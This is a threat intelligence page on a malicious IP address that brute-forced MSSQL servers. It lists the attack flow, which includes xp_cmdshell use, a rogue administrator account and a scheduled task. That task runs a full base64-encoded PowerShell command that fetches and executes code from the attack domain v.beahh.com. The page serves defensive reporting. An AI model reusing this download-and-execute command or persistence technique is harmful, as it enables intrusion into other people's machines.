Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 223.15.164.27Malicious

IP Address: 223.15.164.27Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL

Tags

DNS Query SMB Access Suspicious Domain User Created Scheduled Task Creation PowerShell Listening User Added to Group MSSQL Brute Force Execute MsSql Shell Command CMD IDS - Attempted User Privilege Gain Successful MSSQL Login MSSQL

Associated Attack Servers

v.beahh.com

Basic Information

IP Address

223.15.164.27

Domain

-

ISP

-

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2022-12-15

Last seen in Akamai Guardicore Segmentation

2023-02-18

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

MSSQL executed 2 shell commands

Execute MsSql Shell Command

User k8h3d was created with the password *********** and added to groups: Administrators

User Added to Group User Created

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetool

Process netsvcs Service Group started listening on ports: 65533

Listening

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: v.beahh.com

DNS Query Access Suspicious Domain

Connection was closed due to timeout